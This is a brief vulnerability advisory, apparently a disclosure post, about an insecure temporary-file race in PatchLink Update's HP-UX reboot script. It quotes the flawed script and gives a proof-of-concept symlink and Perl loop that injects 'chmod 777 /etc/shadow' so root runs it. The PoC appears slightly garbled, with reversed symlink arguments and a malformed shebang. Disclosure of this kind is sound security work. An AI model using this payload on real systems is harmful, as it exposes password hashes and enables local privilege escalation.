Overview From the vendor:
“PatchLink Updateâ„¢ provides rapid, accurate and secure patch management, allowing you to proactively manage threats by automating the collection, analysis and delivery of patches throughout your enterprise. PatchLink Update significantly decreases the costs involved in securing your organization from worms, Trojans, viruses and other malicious threats.”
http://lumension.com/patch-management.jsp?rpLangCode=1&rpMenuId=118443
The script rebootTask contains the following lines for HP-UX Shutdown and reboot:
<code>
echo "shutdown -r -y 120" > /tmp/plshutdown
chmod 500 /tmp/plshutdown
at now < /tmp/plshutdown
</code>
A race condition exists where a local user could symlink /tmp/plshutdown to a file in their home
directory and inject malicous code. This could be done possibly by continuously writing to the file
while waiting for the at command to run.
<code>
$ ln -s /tmp/plshutdown /var/tmp/runme
#/bin/perl
while(1){
`echo "chmod 777 /etc/shadow" > /var/tmp/runme`;
}
</code>
My initial testing determined that this is indeed exploitable.